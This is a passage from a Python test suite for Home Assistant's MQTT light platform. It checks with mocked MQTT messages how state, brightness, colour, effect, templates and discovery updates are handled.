'{"hello": "rainbow"}' ) state = hass.states.get("light.test") assert state.state == STATE_ON assert state.attributes.get("brightness") == 50 assert state.attributes.get("rgb_color") == (84, 169, 255) assert state.attributes.get("color_temp") is None assert state.attributes.get("effect") == "rainbow" assert state.attributes.get("white_value") is None async_fire_mqtt_message( hass, "test_light_rgb/white_value/status", '{"hello": "75"}' ) state = hass.states.get("light.test") assert state.state == STATE_ON assert state.attributes.get("brightness") == 50 assert state.attributes.get("rgb_color") is None assert state.attributes.get("color_temp") == 300 assert state.attributes.get("effect") == "rainbow" assert state.attributes.get("white_value") == 75 async_fire_mqtt_message(hass, "test_light_rgb/hs/status", '{"hello": [100,50]}') async_fire_mqtt_message(hass, "test_light_rgb/white_value/status", '{"hello": "0"}') state = hass.states.get("light.test") assert state.attributes.get("hs_color") == (100, 50) async_fire_mqtt_message( hass, "test_light_rgb/xy/status", '{"hello": [0.123,0.123]}' ) state = hass.states.get("light.test") assert state.attributes.get("xy_color") == (0.14, 0.131) async def test_controlling_state_via_topic_with_value_template(hass, mqtt_mock): """Test the setting of the state with undocumented value_template.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "test_light_rgb/status", "command_topic": "test_light_rgb/set", "value_template": "{{ value_json.hello }}", } } assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF async_fire_mqtt_message(hass, "test_light_rgb/status", '{"hello": "ON"}') state = hass.states.get("light.test") assert state.state == STATE_ON async_fire_mqtt_message(hass, "test_light_rgb/status", '{"hello": "OFF"}') state = hass.states.get("light.test") assert state.state == STATE_OFF async def test_sending_mqtt_commands_and_optimistic(hass, mqtt_mock): """Test the sending of command in optimistic mode.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "test_light_rgb/set", "brightness_command_topic": "test_light_rgb/brightness/set", "rgb_command_topic": "test_light_rgb/rgb/set", "color_temp_command_topic": "test_light_rgb/color_temp/set", "effect_command_topic": "test_light_rgb/effect/set", "hs_command_topic": "test_light_rgb/hs/set", "white_value_command_topic": "test_light_rgb/white_value/set", "xy_command_topic": "test_light_rgb/xy/set", "effect_list": ["colorloop", "random"], "qos": 2, "payload_on": "on", "payload_off": "off", } } fake_state = ha.State( "light.test", "on", { "brightness": 95, "hs_color": [100, 100], "effect": "random", "color_temp": 100, # TODO: Test restoring state with white_value "white_value": 0, }, ) with patch( "homeassistant.helpers.restore_state.RestoreEntity.async_get_last_state", return_value=fake_state, ), assert_setup_component(1, light.DOMAIN): assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_ON assert state.attributes.get("brightness") == 95 assert state.attributes.get("hs_color") == (100, 100) assert state.attributes.get("effect") == "random" assert state.attributes.get("color_temp") is None assert state.attributes.get("white_value") is None assert state.attributes.get(ATTR_ASSUMED_STATE) await common.async_turn_on(hass, "light.test") mqtt_mock.async_publish.assert_called_once_with( "test_light_rgb/set", "on", 2, False ) mqtt_mock.async_publish.reset_mock() state = hass.states.get("light.test") assert state.state == STATE_ON await common.async_turn_off(hass, "light.test") mqtt_mock.async_publish.assert_called_once_with( "test_light_rgb/set", "off", 2, False ) mqtt_mock.async_publish.reset_mock() state = hass.states.get("light.test") assert state.state == STATE_OFF mqtt_mock.reset_mock() await common.async_turn_on( hass, "light.test", brightness=50, xy_color=[0.123, 0.123] ) await common.async_turn_on(hass, "light.test", brightness=50, hs_color=[359, 78]) await common.async_turn_on(hass, "light.test", rgb_color=[255, 128, 0]) mqtt_mock.async_publish.assert_has_calls( [ call("test_light_rgb/set", "on", 2, False), call("test_light_rgb/rgb/set", "255,128,0", 2, False), call("test_light_rgb/brightness/set", "50", 2, False), call("test_light_rgb/hs/set", "359.0,78.0", 2, False), call("test_light_rgb/xy/set", "0.14,0.131", 2, False), ], any_order=True, ) state = hass.states.get("light.test") assert state.state == STATE_ON assert state.attributes["rgb_color"] == (255, 128, 0) assert state.attributes["brightness"] == 50 assert state.attributes["hs_color"] == (30.118, 100) assert state.attributes.get("white_value") is None assert state.attributes["xy_color"] == (0.611, 0.375) assert state.attributes.get("color_temp") is None await common.async_turn_on(hass, "light.test", white_value=80, color_temp=125) mqtt_mock.async_publish.assert_has_calls( [ call("test_light_rgb/white_value/set", "80", 2, False), call("test_light_rgb/color_temp/set", "125", 2, False), ], any_order=True, ) state = hass.states.get("light.test") assert state.state == STATE_ON assert state.attributes.get("rgb_color") is None assert state.attributes["brightness"] == 50 assert state.attributes.get("hs_color") is None assert state.attributes["white_value"] == 80 assert state.attributes.get("xy_color") is None assert state.attributes["color_temp"] == 125 async def test_sending_mqtt_rgb_command_with_template(hass, mqtt_mock): """Test the sending of RGB command with template.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "test_light_rgb/set", "rgb_command_topic": "test_light_rgb/rgb/set", "rgb_command_template": '{{ "#%02x%02x%02x" | ' "format(red, green, blue)}}", "payload_on": "on", "payload_off": "off", "qos": 0, } } assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF await common.async_turn_on(hass, "light.test", rgb_color=[255, 128, 64]) mqtt_mock.async_publish.assert_has_calls( [ call("test_light_rgb/set", "on", 0, False), call("test_light_rgb/rgb/set", "#ff803f", 0, False), ], any_order=True, ) state = hass.states.get("light.test") assert state.state == STATE_ON assert state.attributes["rgb_color"] == (255, 128, 63) async def test_sending_mqtt_color_temp_command_with_template(hass, mqtt_mock): """Test the sending of Color Temp command with template.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "test_light_color_temp/set", "color_temp_command_topic": "test_light_color_temp/color_temp/set", "color_temp_command_template": "{{ (1000 / value) | round(0) }}", "payload_on": "on", "payload_off": "off", "qos": 0, } } assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF await common.async_turn_on(hass, "light.test", color_temp=100) mqtt_mock.async_publish.assert_has_calls( [ call("test_light_color_temp/set", "on", 0, False), call("test_light_color_temp/color_temp/set", "10", 0, False), ], any_order=True, ) state = hass.states.get("light.test") assert state.state == STATE_ON assert state.attributes["color_temp"] == 100 async def test_on_command_first(hass, mqtt_mock): """Test on command being sent before brightness.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "test_light/set", "brightness_command_topic": "test_light/bright", "on_command_type": "first", } } assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF await common.async_turn_on(hass, "light.test", brightness=50) # Should get the following MQTT messages. # test_light/set: 'ON' # test_light/bright: 50 mqtt_mock.async_publish.assert_has_calls( [ call("test_light/set", "ON", 0, False), call("test_light/bright", "50", 0, False), ], ) mqtt_mock.async_publish.reset_mock() await common.async_turn_off(hass, "light.test") mqtt_mock.async_publish.assert_called_once_with("test_light/set", "OFF", 0, False) async def test_on_command_last(hass, mqtt_mock): """Test on command being sent after brightness.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "test_light/set", "brightness_command_topic": "test_light/bright", } } assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF await common.async_turn_on(hass, "light.test", brightness=50) # Should get the following MQTT messages. # test_light/bright: 50 # test_light/set: 'ON' mqtt_mock.async_publish.assert_has_calls( [ call("test_light/bright", "50", 0, False), call("test_light/set", "ON", 0, False), ], ) mqtt_mock.async_publish.reset_mock() await common.async_turn_off(hass, "light.test") mqtt_mock.async_publish.assert_called_once_with("test_light/set", "OFF", 0, False) async def test_on_command_brightness(hass, mqtt_mock): """Test on command being sent as only brightness.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "test_light/set", "brightness_command_topic": "test_light/bright", "rgb_command_topic": "test_light/rgb", "on_command_type": "brightness", } } assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF # Turn on w/ no brightness - should set to max await common.async_turn_on(hass, "light.test") # Should get the following MQTT messages. # test_light/bright: 255 mqtt_mock.async_publish.assert_called_once_with( "test_light/bright", "255", 0, False ) mqtt_mock.async_publish.reset_mock() await common.async_turn_off(hass, "light.test") mqtt_mock.async_publish.assert_called_once_with("test_light/set", "OFF", 0, False) mqtt_mock.async_publish.reset_mock() # Turn on w/ brightness await common.async_turn_on(hass, "light.test", brightness=50) mqtt_mock.async_publish.assert_called_once_with("test_light/bright", "50", 0, False) mqtt_mock.async_publish.reset_mock() await common.async_turn_off(hass, "light.test") # Turn on w/ just a color to ensure brightness gets # added and sent. await common.async_turn_on(hass, "light.test", rgb_color=[255, 128, 0]) mqtt_mock.async_publish.assert_has_calls( [ call("test_light/rgb", "255,128,0", 0, False), call("test_light/bright", "50", 0, False), ], any_order=True, ) async def test_on_command_brightness_scaled(hass, mqtt_mock): """Test brightness scale.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "test_light/set", "brightness_command_topic": "test_light/bright", "brightness_scale": 100, "rgb_command_topic": "test_light/rgb", "on_command_type": "brightness", } } assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF # Turn on w/ no brightness - should set to max await common.async_turn_on(hass, "light.test") # Should get the following MQTT messages. # test_light/bright: 100 mqtt_mock.async_publish.assert_called_once_with( "test_light/bright", "100", 0, False ) mqtt_mock.async_publish.reset_mock() await common.async_turn_off(hass, "light.test") mqtt_mock.async_publish.assert_called_once_with("test_light/set", "OFF", 0, False) mqtt_mock.async_publish.reset_mock() # Turn on w/ brightness await common.async_turn_on(hass, "light.test", brightness=50) mqtt_mock.async_publish.assert_called_once_with("test_light/bright", "20", 0, False) mqtt_mock.async_publish.reset_mock() # Turn on w/ max brightness await common.async_turn_on(hass, "light.test", brightness=255) mqtt_mock.async_publish.assert_called_once_with( "test_light/bright", "100", 0, False ) mqtt_mock.async_publish.reset_mock() # Turn on w/ min brightness await common.async_turn_on(hass, "light.test", brightness=1) mqtt_mock.async_publish.assert_called_once_with("test_light/bright", "1", 0, False) mqtt_mock.async_publish.reset_mock() await common.async_turn_off(hass, "light.test") # Turn on w/ just a color to ensure brightness gets # added and sent. await common.async_turn_on(hass, "light.test", rgb_color=[255, 128, 0]) mqtt_mock.async_publish.assert_has_calls( [ call("test_light/rgb", "255,128,0", 0, False), call("test_light/bright", "1", 0, False), ], any_order=True, ) async def test_on_command_rgb(hass, mqtt_mock): """Test on command in RGB brightness mode.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "test_light/set", "rgb_command_topic": "test_light/rgb", } } assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF await common.async_turn_on(hass, "light.test", brightness=127) # Should get the following MQTT messages. # test_light/rgb: '127,127,127' # test_light/set: 'ON' mqtt_mock.async_publish.assert_has_calls( [ call("test_light/rgb", "127,127,127", 0, False), call("test_light/set", "ON", 0, False), ], any_order=True, ) mqtt_mock.async_publish.reset_mock() await common.async_turn_on(hass, "light.test", brightness=255) # Should get the following MQTT messages. # test_light/rgb: '255,255,255' # test_light/set: 'ON' mqtt_mock.async_publish.assert_has_calls( [ call("test_light/rgb", "255,255,255", 0, False), call("test_light/set", "ON", 0, False), ], any_order=True, ) mqtt_mock.async_publish.reset_mock() await common.async_turn_on(hass, "light.test", brightness=1) # Should get the following MQTT messages. # test_light/rgb: '1,1,1' # test_light/set: 'ON' mqtt_mock.async_publish.assert_has_calls( [ call("test_light/rgb", "1,1,1", 0, False), call("test_light/set", "ON", 0, False), ], any_order=True, ) mqtt_mock.async_publish.reset_mock() await common.async_turn_off(hass, "light.test") mqtt_mock.async_publish.assert_called_once_with("test_light/set", "OFF", 0, False) # Ensure color gets scaled with brightness. await common.async_turn_on(hass, "light.test", rgb_color=[255, 128, 0]) mqtt_mock.async_publish.assert_has_calls( [ call("test_light/rgb", "1,0,0", 0, False), call("test_light/set", "ON", 0, False), ], any_order=True, ) mqtt_mock.async_publish.reset_mock() await common.async_turn_on(hass, "light.test", brightness=255) # Should get the following MQTT messages. # test_light/rgb: '255,128,0' # test_light/set: 'ON' mqtt_mock.async_publish.assert_has_calls( [ call("test_light/rgb", "255,128,0", 0, False), call("test_light/set", "ON", 0, False), ], any_order=True, ) mqtt_mock.async_publish.reset_mock() async def test_on_command_rgb_template(hass, mqtt_mock): """Test on command in RGB brightness mode with RGB template.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "test_light/set", "rgb_command_topic": "test_light/rgb", "rgb_command_template": "{{ red }}/{{ green }}/{{ blue }}", } } assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF await common.async_turn_on(hass, "light.test", brightness=127) # Should get the following MQTT messages. # test_light/rgb: '127,127,127' # test_light/set: 'ON' mqtt_mock.async_publish.assert_has_calls( [ call("test_light/rgb", "127/127/127", 0, False), call("test_light/set", "ON", 0, False), ], any_order=True, ) mqtt_mock.async_publish.reset_mock() await common.async_turn_off(hass, "light.test") mqtt_mock.async_publish.assert_called_once_with("test_light/set", "OFF", 0, False) async def test_effect(hass, mqtt_mock): """Test effect.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "test_light/set", "effect_command_topic": "test_light/effect/set", "effect_list": ["rainbow", "colorloop"], } } assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF await common.async_turn_on(hass, "light.test", effect="rainbow") # Should get the following MQTT messages. # test_light/effect/set: 'rainbow' # test_light/set: 'ON' mqtt_mock.async_publish.assert_has_calls( [ call("test_light/effect/set", "rainbow", 0, False), call("test_light/set", "ON", 0, False), ], any_order=True, ) mqtt_mock.async_publish.reset_mock() await common.async_turn_off(hass, "light.test") mqtt_mock.async_publish.assert_called_once_with("test_light/set", "OFF", 0, False) async def test_availability_when_connection_lost(hass, mqtt_mock): """Test availability after MQTT disconnection.""" await help_test_availability_when_connection_lost( hass, mqtt_mock, light.DOMAIN, DEFAULT_CONFIG ) async def test_availability_without_topic(hass, mqtt_mock): """Test availability without defined availability topic.""" await help_test_availability_without_topic( hass, mqtt_mock, light.DOMAIN, DEFAULT_CONFIG ) async def test_default_availability_payload(hass, mqtt_mock): """Test availability by default payload with defined topic.""" await help_test_default_availability_payload( hass, mqtt_mock, light.DOMAIN, DEFAULT_CONFIG ) async def test_custom_availability_payload(hass, mqtt_mock): """Test availability by custom payload with defined topic.""" await help_test_custom_availability_payload( hass, mqtt_mock, light.DOMAIN, DEFAULT_CONFIG ) async def test_setting_attribute_via_mqtt_json_message(hass, mqtt_mock): """Test the setting of attribute via MQTT with JSON payload.""" await help_test_setting_attribute_via_mqtt_json_message( hass, mqtt_mock, light.DOMAIN, DEFAULT_CONFIG ) async def test_setting_attribute_with_template(hass, mqtt_mock): """Test the setting of attribute via MQTT with JSON payload.""" await help_test_setting_attribute_with_template( hass, mqtt_mock, light.DOMAIN, DEFAULT_CONFIG ) async def test_update_with_json_attrs_not_dict(hass, mqtt_mock, caplog): """Test attributes get extracted from a JSON result.""" await help_test_update_with_json_attrs_not_dict( hass, mqtt_mock, caplog, light.DOMAIN, DEFAULT_CONFIG ) async def test_update_with_json_attrs_bad_JSON(hass, mqtt_mock, caplog): """Test attributes get extracted from a JSON result.""" await help_test_update_with_json_attrs_bad_JSON( hass, mqtt_mock, caplog, light.DOMAIN, DEFAULT_CONFIG ) async def test_discovery_update_attr(hass, mqtt_mock, caplog): """Test update of discovered MQTTAttributes.""" await help_test_discovery_update_attr( hass, mqtt_mock, caplog, light.DOMAIN, DEFAULT_CONFIG ) async def test_unique_id(hass, mqtt_mock): """Test unique id option only creates one light per unique_id.""" config = { light.DOMAIN: [ { "platform": "mqtt", "name": "Test 1", "state_topic": "test-topic", "command_topic": "test_topic", "unique_id": "TOTALLY_UNIQUE", }, { "platform": "mqtt", "name": "Test 2", "state_topic": "test-topic", "command_topic": "test_topic", "unique_id": "TOTALLY_UNIQUE", }, ] } await help_test_unique_id(hass, mqtt_mock, light.DOMAIN, config) async def test_discovery_removal_light(hass, mqtt_mock, caplog): """Test removal of discovered light.""" data = ( '{ "name": "test",' ' "state_topic": "test_topic",' ' "command_topic": "test_topic" }' ) await help_test_discovery_removal(hass, mqtt_mock, caplog, light.DOMAIN, data) async def test_discovery_deprecated(hass, mqtt_mock, caplog): """Test discovery of mqtt light with deprecated platform option.""" data = ( '{ "name": "Beer",' ' "platform": "mqtt",' ' "command_topic": "test_topic"}' ) async_fire_mqtt_message(hass, "homeassistant/light/bla/config", data) await hass.async_block_till_done() state = hass.states.get("light.beer") assert state is not None assert state.name == "Beer" async def test_discovery_update_light_topic_and_template(hass, mqtt_mock, caplog): """Test update of discovered light.""" data1 = json.dumps( { "name": "Beer", "state_topic": "test_light_rgb/state1", "command_topic": "test_light_rgb/set", "brightness_command_topic": "test_light_rgb/state1", "rgb_command_topic": "test_light_rgb/rgb/set", "color_temp_command_topic": "test_light_rgb/state1", "effect_command_topic": "test_light_rgb/effect/set", "hs_command_topic": "test_light_rgb/hs/set", "white_value_command_topic": "test_light_rgb/white_value/set", "xy_command_topic": "test_light_rgb/xy/set", "brightness_state_topic": "test_light_rgb/state1", "color_temp_state_topic": "test_light_rgb/state1", "effect_state_topic": "test_light_rgb/state1", "hs_state_topic": "test_light_rgb/state1", "rgb_state_topic": "test_light_rgb/state1", "white_value_state_topic": "test_light_rgb/state1", "xy_state_topic": "test_light_rgb/state1", "state_value_template": "{{ value_json.state1.state }}", "brightness_value_template": "{{ value_json.state1.brightness }}", "color_temp_value_template": "{{ value_json.state1.ct }}", "effect_value_template": "{{ value_json.state1.fx }}", "hs_value_template": "{{ value_json.state1.hs }}", "rgb_value_template": "{{ value_json.state1.rgb }}", "white_value_template": "{{ value_json.state1.white }}", "xy_value_template": "{{ value_json.state1.xy }}", } ) data2 = json.dumps( { "name": "Milk", "state_topic": "test_light_rgb/state2", "command_topic": "test_light_rgb/set", "brightness_command_topic": "test_light_rgb/state2", "rgb_command_topic": "test_light_rgb/rgb/set", "color_temp_command_topic": "test_light_rgb/state2", "effect_command_topic": "test_light_rgb/effect/set", "hs_command_topic": "test_light_rgb/hs/set", "white_value_command_topic": "test_light_rgb/white_value/set", "xy_command_topic": "test_light_rgb/xy/set", "brightness_state_topic": "test_light_rgb/state2", "color_temp_state_topic": "test_light_rgb/state2", "effect_state_topic": "test_light_rgb/state2", "hs_state_topic": "test_light_rgb/state2", "rgb_state_topic": "test_light_rgb/state2", "white_value_state_topic": "test_light_rgb/state2", "xy_state_topic": "test_light_rgb/state2", "state_value_template": "{{ value_json.state2.state }}", "brightness_value_template": "{{ value_json.state2.brightness }}", "color_temp_value_template": "{{ value_json.state2.ct }}", "effect_value_template": "{{ value_json.state2.fx }}", "hs_value_template": "{{ value_json.state2.hs }}", "rgb_value_template": "{{ value_json.state2.rgb }}", "white_value_template": "{{ value_json.state2.white }}", "xy_value_template": "{{ value_json.state2.xy }}", } ) state_data1 = [ ( [ ( "test_light_rgb/state1", '{"state1":{"state":"ON", "brightness":100, "ct":123, "white":100, "fx":"cycle"}}', ) ], "on", [ ("brightness", 100), ("color_temp", 123), ("white_value", 100), ("effect", "cycle"), ], ), ( [("test_light_rgb/state1", '{"state1":{"state":"OFF"}}')], "off", None, ), ( [ ( "test_light_rgb/state1", '{"state1":{"state":"ON", "hs":"1,2", "white":0}}', ) ], "on", [("hs_color", (1, 2)), ("white_value", None)], ), ( [ ( "test_light_rgb/state1", '{"state1":{"rgb":"255,127,63"}}', ) ], "on", [("rgb_color", (255, 127, 63))], ), ( [ ( "test_light_rgb/state1", '{"state1":{"xy":"0.3, 0.4"}}', ) ], "on", [("xy_color", (0.3, 0.401))], ), ] state_data2 = [ ( [ ( "test_light_rgb/state2", '{"state2":{"state":"ON", "brightness":50, "ct":200, "white":50, "fx":"loop"}}', ) ], "on", [ ("brightness", 50), ("color_temp", 200), ("white_value", 50), ("effect", "loop"), ], ), ( [ ( "test_light_rgb/state1", '{"state1":{"state":"ON", "brightness":100, "ct":123, "fx":"cycle"}}', ), ( "test_light_rgb/state1", '{"state2":{"state":"ON", "brightness":100, "ct":123, "fx":"cycle"}}', ), ( "test_light_rgb/state2", '{"state1":{"state":"ON", "brightness":100, "ct":123, "fx":"cycle"}}', ), ], "on", [("brightness", 50), ("color_temp", 200), ("effect", "loop")], ), ( [("test_light_rgb/state1", '{"state1":{"state":"OFF"}}')], "on", None, ), ( [("test_light_rgb/state1", '{"state2":{"state":"OFF"}}')], "on", None, ), ( [("test_light_rgb/state2", '{"state1":{"state":"OFF"}}')], "on", None, ), ( [("test_light_rgb/state2", '{"state2":{"state":"OFF"}}')], "off", None, ), ( [ ( "test_light_rgb/state2", '{"state2":{"state":"ON", "hs":"1.2,2.2", "white":0}}', ) ], "on", [("hs_color", (1.2, 2.2)), ("white_value", None)], ), ( [ ( "test_light_rgb/state1", '{"state1":{"state":"ON", "hs":"1,2"}}', ), ( "test_light_rgb/state1", '{"state2":{"state":"ON", "hs":"1,2"}}', ), ( "test_light_rgb/state2", '{"state1":{"state":"ON", "hs":"1,2"}}', ), ], "on", [("hs_color", (1.2, 2.2))], ), ( [ ( "test_light_rgb/state2", '{"state2":{"rgb":"63,127,255"}}', ) ], "on", [("rgb_color", (63, 127, 255))], ), ( [ ( "test_light_rgb/state1", '{"state1":{"rgb":"255,127,63"}}', ), ( "test_light_rgb/state1", '{"state2":{"rgb":"255,127,63"}}', ), ( "test_light_rgb/state2", '{"state1":{"rgb":"255,127,63"}}', ), ], "on", [("rgb_color", (63, 127, 255))], ), ( [ ( "test_light_rgb/state2", '{"state2":{"xy":"0.4, 0.3"}}', ) ], "on", [("xy_color", (0.4, 0.3))], ), ( [ ( "test_light_rgb/state1", '{"state1":{"white":50, "xy":"0.3, 0.4"}}', ), ( "test_light_rgb/state1", '{"state2":{"white":50, "xy":"0.3, 0.4"}}', ), ( "test_light_rgb/state2", '{"state1":{"white":50, "xy":"0.3, 0.4"}}', ), ], "on", [("xy_color", (0.4, 0.3))], ), ] await help_test_discovery_update( hass, mqtt_mock, caplog, light.DOMAIN, data1, data2, state_data1=state_data1, state_data2=state_data2, ) async def test_discovery_update_light_template(hass, mqtt_mock, caplog): """Test update of discovered light.""" data1 = json.dumps( { "name": "Beer", "state_topic": "test_light_rgb/state1", "command_topic": "test_light_rgb/set", "brightness_command_topic": "test_light_rgb/state1", "rgb_command_topic": "test_light_rgb/rgb/set", "color_temp_command_topic": "test_light_rgb/state1", "effect_command_topic": "test_light_rgb/effect/set", "hs_command_topic": "test_light_rgb/hs/set", "white_value_command_topic": "test_light_rgb/white_value/set", "xy_command_topic": "test_light_rgb/xy/set", "brightness_state_topic": "test_light_rgb/state1", "color_temp_state_topic": "test_light_rgb/state1", "effect_state_topic": "test_light_rgb/state1", "hs_state_topic": "test_light_rgb/state1", "rgb_state_topic": "test_light_rgb/state1", "white_value_state_topic": "test_light_rgb/state1", "xy_state_topic": "test_light_rgb/state1", "state_value_template": "{{ value_json.state1.state }}", "brightness_value_template": "{{ value_json.state1.brightness }}", "color_temp_value_template": "{{ value_json.state1.ct }}", "effect_value_template": "{{ value_json.state1.fx }}", "hs_value_template": "{{ value_json.state1.hs }}", "rgb_value_template": "{{ value_json.state1.rgb }}", "white_value_template": "{{ value_json.state1.white }}", "xy_value_template": "{{ value_json.state1.xy }}", } ) data2 = json.dumps( { "name": "Milk", "state_topic": "test_light_rgb/state1", "command_topic": "test_light_rgb/set", "brightness_command_topic": "test_light_rgb/state1", "rgb_command_topic": "test_light_rgb/rgb/set", "color_temp_command_topic": "test_light_rgb/state1", "effect_command_topic": "test_light_rgb/effect/set", "hs_command_topic": "test_light_rgb/hs/set", "white_value_command_topic": "test_light_rgb/white_value/set", "xy_command_topic": "test_light_rgb/xy/set", "brightness_state_topic": "test_light_rgb/state1", "color_temp_state_topic": "test_light_rgb/state1", "effect_state_topic": "test_light_rgb/state1", "hs_state_topic": "test_light_rgb/state1", "rgb_state_topic": "test_light_rgb/state1", "white_value_state_topic": "test_light_rgb/state1", "xy_state_topic": "test_light_rgb/state1", "state_value_template": "{{ value_json.state2.state }}", "brightness_value_template": "{{ value_json.state2.brightness }}", "color_temp_value_template": "{{ value_json.state2.ct }}", "effect_value_template": "{{ value_json.state2.fx }}", "hs_value_template": "{{ value_json.state2.hs }}", "rgb_value_template": "{{ value_json.state2.rgb }}", "white_value_template": "{{ value_json.state2.white }}", "xy_value_template": "{{ value_json.state2.xy }}", } ) state_data1 = [ ( [ ( "test_light_rgb/state1", '{"state1":{"state":"ON", "brightness":100, "ct":123, "white":100, "fx":"cycle"}}', ) ], "on", [ ("brightness", 100), ("color_temp", 123), ("white_value", 100), ("effect", "cycle"), ], ), ( [("test_light_rgb/state1", '{"state1":{"state":"OFF"}}')], "off", None, ), ( [ ( "test_light_rgb/state1", '{"state1":{"state":"ON", "hs":"1,2", "white":0}}', ) ], "on", [("hs_color", (1, 2))], ), ( [ ( "test_light_rgb/state1", '{"state1":{"rgb":"255,127,63"}}', ) ], "on", [("rgb_color", (255, 127, 63))], ), ( [ ( "test_light_rgb/state1", '{"state1":{"white":0, "xy":"0.3, 0.4"}}', ) ], "on", [("white_value", None), ("xy_color", (0.3, 0.401))], ), ] state_data2 = [ ( [ ( "test_light_rgb/state1", '{"state2":{"state":"ON", "brightness":50, "ct":200, "white":50, "fx":"loop"}}', ) ], "on", [ ("brightness", 50), ("color_temp", 200), ("white_value", 50), ("effect", "loop"), ], ), ( [ ( "test_light_rgb/state1", '{"state1":{"state":"ON", "brightness":100, "ct":123, "fx":"cycle"}}', ), ], "on", [("brightness", 50), ("color_temp", 200), ("effect", "loop")], ), ( [("test_light_rgb/state1", '{"state1":{"state":"OFF"}}')], "on", None, ), ( [("test_light_rgb/state1", '{"state2":{"state":"OFF"}}')], "off", None, ), ( [ ( "test_light_rgb/state1", '{"state2":{"state":"ON", "hs":"1.2,2.2", "white":0}}', ) ], "on", [("hs_color", (1.2, 2.2))], ), ( [ ( "test_light_rgb/state1", '{"state1":{"state":"ON", "hs":"1,2"}}', ) ], "on", [("hs_color", (1.2, 2.2))], ), ( [ ( "test_light_rgb/state1", '{"state2":{"rgb":"63,127,255"}}', ) ], "on", [("rgb_color", (63, 127, 255))], ), ( [ ( "test_light_rgb/state1", '{"state1":{"rgb":"255,127,63"}}', ) ], "on", [("rgb_color", (63, 127, 255))], ), ( [ ( "test_light_rgb/state1", '{"state2":{"xy":"0.4, 0.3"}}', ) ], "on", [("white_value", None), ("xy_color", (0.4, 0.3))], ), ( [ ( "test_light_rgb/state1", '{"state1":{"white":50, "xy":"0.3, 0.4"}}', ) ], "on", [("white_value", None), ("xy_color", (0.4, 0.3))], ), ] await help_test_discovery_update( hass, mqtt_mock, caplog, light.DOMAIN, data1, data2, state_data1=state_data1, state_data2=state_data2, ) async def test_discovery_update_unchanged_light(hass, mqtt_mock, caplog): """Test update of discovered light.""" data1 = ( '{ "name": "Beer",' ' "state_topic": "test_topic",' ' "command_topic": "test_topic" }' ) with patch( "homeassistant.components.mqtt.light.schema_basic.MqttLight.discovery_update" ) as discovery_update: await help_test_discovery_update_unchanged( hass, mqtt_mock, caplog, light.DOMAIN, data1, discovery_update ) @pytest.mark.no_fail_on_log_exception async def test_discovery_broken(hass, mqtt_mock, caplog): """Test handling of bad discovery message.""" data1 = '{ "name": "Beer" }' data2 = ( '{ "name": "Milk",' ' "state_topic": "test_topic",' ' "command_topic": "test_topic" }' ) await help_test_discovery_broken( hass, mqtt_mock, caplog, light.DOMAIN, data1, data2 ) async def test_entity_device_info_with_connection(hass, mqtt_mock): """Test MQTT light device registry integration.""" await help_test_entity_device_info_with_connection( hass, mqtt_mock, light.DOMAIN, DEFAULT_CONFIG ) async def test_entity_device_info_with_identifier(hass, mqtt_mock): """Test MQTT light device registry integration.""" await help_test_entity_device_info_with_identifier( hass, mqtt_mock, light.DOMAIN, DEFAULT_CONFIG ) async def test_entity_device_info_update(hass, mqtt_mock): """Test device registry update.""" await help_test_entity_device_info_update( hass, mqtt_mock, light.DOMAIN, DEFAULT_CONFIG ) async def test_entity_device_info_remove(hass, mqtt_mock): """Test device registry remove.""" await help_test_entity_device_info_remove( hass, mqtt_mock, light.DOMAIN, DEFAULT_CONFIG ) async def test_entity_id_update_subscriptions(hass, mqtt_mock): """Test MQTT subscriptions are managed when entity_id is updated.""" await help_test_entity_id_update_subscriptions( hass, mqtt_mock, light.DOMAIN, DEFAULT_CONFIG ) async def test_entity_id_update_discovery_update(hass, mqtt_mock): """Test MQTT discovery update when entity_id is updated.""" await help_test_entity_id_update_discovery_update( hass, mqtt_mock, light.DOMAIN, DEFAULT_CONFIG ) async def test_entity_debug_info_message(hass, mqtt_mock): """Test MQTT debug info.""" await help_test_entity_debug_info_message( hass, mqtt_mock, light.DOMAIN, DEFAULT_CONFIG ) async def test_max_mireds(hass, mqtt_mock): """Test setting min_mireds and max_mireds.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "test_max_mireds/set", "color_temp_command_topic": "test_max_mireds/color_temp/set", "max_mireds": 370, } } assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.attributes.get("min_mireds") == 153 assert state.attributes.get("max_mireds") == 370 async def test_reloadable(hass, mqtt_mock): """Test reloading an mqtt light.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", 